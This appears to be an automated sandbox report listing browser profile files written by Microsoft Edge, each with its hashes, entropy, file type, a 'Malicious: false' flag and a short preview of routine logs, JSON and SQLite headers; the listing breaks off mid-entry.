C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.239458559543753
Encrypted:	false
SSDEEP:	12:ggkvBYebvqBQFUt87gZ1/+7gT56YebvqBvJ:LOBYebvZg8sfF6Yebvk
MD5:	385E2CBCB482D2DF7B328CC52C9CFB1C
SHA1:	B459E51623428B938E760311754FB854F687F6DB
SHA-256:	9B9E4065F3461A5D7200D6A4656F16E896687CE65F37560CAFE14297C87CE342
SHA-512:	F748B286F64E9B1EAB012B01FF2EF48B652DFA6EDC3F50150D59B6F4F7C64A3375D7E2B378E79D4B06A99335EA485B5F1EF3B5E6E95668AFB6C30381E71A2C85
Malicious:	false
Preview:	2024/11/25-06:08:37.063 1ca0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/25-06:08:37.065 1ca0 Recovering log #3.2024/11/25-06:08:37.067 1ca0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.239458559543753
Encrypted:	false
SSDEEP:	12:ggkvBYebvqBQFUt87gZ1/+7gT56YebvqBvJ:LOBYebvZg8sfF6Yebvk
MD5:	385E2CBCB482D2DF7B328CC52C9CFB1C
SHA1:	B459E51623428B938E760311754FB854F687F6DB
SHA-256:	9B9E4065F3461A5D7200D6A4656F16E896687CE65F37560CAFE14297C87CE342
SHA-512:	F748B286F64E9B1EAB012B01FF2EF48B652DFA6EDC3F50150D59B6F4F7C64A3375D7E2B378E79D4B06A99335EA485B5F1EF3B5E6E95668AFB6C30381E71A2C85
Malicious:	false
Preview:	2024/11/25-06:08:37.063 1ca0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/25-06:08:37.065 1ca0 Recovering log #3.2024/11/25-06:08:37.067 1ca0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0bfb7416-9eac-4bbc-a849-d022f0ec406a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2d4b9ee9-d7e2-4bf9-b5db-4a8ed977608d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\87eae9e8-9964-428a-b573-6dd93d73632f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2c3e2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f82ed97e-51a3-4b02-b487-ca1ca4e39511.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.283088263381816
Encrypted:	false
SSDEEP:	12:gCbvBYebvqBZFUt87J1/+7a56YebvqBaJ:D7BYebvyg8J6YebvL
MD5:	26B404215F1DF60165C4D271A40DBA9A
SHA1:	5A40ADC3820BF237A2D8817E8D5B7AE7457FB450
SHA-256:	E88E19D514364A04AC6B62B67B7C83A131FF3CD99F7B83D8404E15F1D2EBBE55
SHA-512:	9EC251A36B8918034C4636AA15F3F1F4A2927B843D260DCA10BC9AEDEB186591B277B0EF24B2EE46DDCBF418CCD6E62932D0E194D0E839833928E19D31F8B05D
Malicious:	false
Preview:	2024/11/25-06:08:54.944 1c98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/25-06:08:54.946 1c98 Recovering log #3.2024/11/25-06:08:54.949 1c98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.283088263381816
Encrypted:	false
SSDEEP:	12:gCbvBYebvqBZFUt87J1/+7a56YebvqBaJ:D7BYebvyg8J6YebvL
MD5:	26B404215F1DF60165C4D271A40DBA9A
SHA1:	5A40ADC3820BF237A2D8817E8D5B7AE7457FB450
SHA-256:	E88E19D514364A04AC6B62B67B7C83A131FF3CD99F7B83D8404E15F1D2EBBE55
SHA-512:	9EC251A36B8918034C4636AA15F3F1F4A2927B843D260DCA10BC9AEDEB186591B277B0EF24B2EE46DDCBF418CCD6E62932D0E194D0E839833928E19D31F8B05D
Malicious:	false
Preview:	2024/11/25-06:08:54.944 1c98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/25-06:08:54.946 1c98 Recovering log #3.2024/11/25-06:08:54.949 1c98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.249533396130108
Encrypted:	false
SSDEEP:	6:HANU3Oq2PCHhJ23oH+TcwtpIFUt8YANU3XZmw+YANU3FkwOCHhJ23oH+Tcwta/Wd:gNU+vBYebmFUt87NUH/+7NUV56YebaUJ
MD5:	C5B659148860C4EFD2A43C1B621D4657
SHA1:	CA3057FEE869EB6CCBD7AC8F2EEF4DCC062A9BCA
SHA-256:	3CC76A7940717DFCC04D8C25E9CC7351CA72DB83ADF53516C67E5486979DD3BF
SHA-512:	473B7CDEAC04CF5FC03AAAB9E0A038CD960BD51929710DAC27FBEE2E6092F4766FB6A2BA6884148A0761A66EF34CF900BDAFAB6BFCB7881EEA83441F06ADB9C5
Malicious:	false
Preview:	2024/11/25-06:08:36.216 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/25-06:08:36.216 1cf4 Recovering log #3.2024/11/25-06:08:36.216 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.249533396130108
Encrypted:	false
SSDEEP:	6:HANU3Oq2PCHhJ23oH+TcwtpIFUt8YANU3XZmw+YANU3FkwOCHhJ23oH+Tcwta/Wd:gNU+vBYebmFUt87NUH/+7NUV56YebaUJ
MD5:	C5B659148860C4EFD2A43C1B621D4657
SHA1:	CA3057FEE869EB6CCBD7AC8F2EEF4DCC062A9BCA
SHA-256:	3CC76A7940717DFCC04D8C25E9CC7351CA72DB83ADF53516C67E5486979DD3BF
SHA-512:	473B7CDEAC04CF5FC03AAAB9E0A038CD960BD51929710DAC27FBEE2E6092F4766FB6A2BA6884148A0761A66EF34CF900BDAFAB6BFCB7881EEA83441F06ADB9C5
Malicious:	false
Preview:	2024/11/25-06:08:36.216 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/25-06:08:36.216 1cf4 Recovering log #3.2024/11/25-06:08:36.216 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2650644942962586
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM3SAELyKOMq+8QTQKC+CVumR:K0q+n0J39ELyKOMq+8Q7K
MD5:	84F25DBD0B4CCA9FD2907AE3B47E733F
SHA1:	516EE12F23D87F6399D5A1FEC77A144E95D6E326
SHA-256:	E37217A7EBDF9793177F44D47F0517380F4CBE7E0224EDCDE86086CCE022ADAA
SHA-512:	27C896F40B0562A67B10B172A416493B247AFA8197F619D1B01F0FE44680EBF2FA7B86D16C4E03D7D8A80440399BBF898F4564E0846801D95D85D32010DE72C6
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4662867392347716
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0E9:v7doKsKuKZKlZNmu46yjx0e
MD5:	BF79AE22412FF180FA076E705D3C52C0
SHA1:	B303780510595421A4764D2A8257A0647169D5E6
SHA-256:	768D1265BDEB52DA3AABAFE1AF1C353941B45F0B3EF92D0C55C2A51A776AB2FB
SHA-512:	73FF71CE9DDBA3D398F66AE0A4AC3D903A493A835A738FE789EAC6E2794D7328308CD8E074397DBBBD00BF96856C2675B76834748367EA2C65A46366EB7A1259
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a95765f2-3eb3-41ac-a86e-204346c324bb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17277), with no line terminators
Category:	dropped
Size (bytes):	17279
Entropy (8bit):	5.494423662202223
Encrypted:	false
SSDEEP:	384:stKPGQSu4ksdI5XlCjlsOufhN48DN6T+8lHbGqQwn1Af7NIB:s4OXuiI5wambGZo82
MD5:	C1BCA3E732AB57C7956E58E8F9D28D96
SHA1:	EF3072955FD42B07CE4F1A27CF7C941F5833C199
SHA-256:	7C63EF583702CC304809E1AC2D02CA252C3515045A5103509B0729ACEC413950
SHA-512:	2F84C0BE50BAE6809C900D966771B58EF3FD4F3056233187C87B2F907452DE214EADDEF97F00E4540E0F37DB32AD379160544B6BDCFABF52CDB2AD7E83CE4A5A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377006516756694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b1786c60-e3cb-4fe3-be1e-343974803f98.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f3c00cf3-47e8-48b9-980b-b3f3c1e976db.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9578
Entropy (8bit):	5.109678738418207
Encrypted:	false
SSDEEP:	192:stKkdpksdCZ5Ia34HkZ6+87bV+F0c8QA4Pq7NIoPGCYJ:stKQksdI5XEbGqQxS7NIB
MD5:	BC25E3C21020725BCF82C42287930DAE
SHA1:	5CD6801682CCE63A4C3D27657B8116473DBB05AA
SHA-256:	45C3F05693B4C73FD698334BBEC5583EBF66F5C9122D37B2549018108CA83127
SHA-512:	495C1CCA1646729DB9F4E6BC9D0771793DB27E2C457A593FF32C49D930DAF608AB64B5E7ADF694808C3E3F9E8F1AD2A5540E246859003B0E6FF5C643FBB8E6A1
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377006516756694","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10223829732352753
Encrypted:	false
SSDEEP:	6:Gu0zPP9Wu0zPP9j89XCChslotGLNl0ml/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/Vl/c:+ohspEjVl/PnnnnnnnnnnnvoQ/Eou
MD5:	5F44C968594156B3CCC2CB0800B2E3D4
SHA1:	976253A1B2BD938BDD2286A23A987D11794EC5E5
SHA-256:	249DB1981C5FF252B3B4F956AD512D66FEA9664DE5365ED5BB46DF651893B899
SHA-512:	A7DD9BFAED53CD411332FF96F4E530D234C98F11D9E20FE15C56D50C4762E6EC43194B50BF44E7FA4003156E61505FBB09A8EEDF3885F1477E725180FC2429A1
Malicious:	false
Preview:	..-.............M..........jjt.0.XE6.:....w.j....-.............M..........jjt.0.XE6.:....w.j..........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8867632410554537
Encrypted:	false
SSDEEP:	384:PCrtSeB+c/+2tNqFvav/6eunkBR0t+q81V2TdTtv81yWy9gey0y6AsAyuxyLSBc:4BRp0v2eGJUSK
MD5:	A6BF1E337757E279310D5AC7F20B6AF1
SHA1:	972026B8B6F4E39EE9D4897ED44236CDEE3096B2
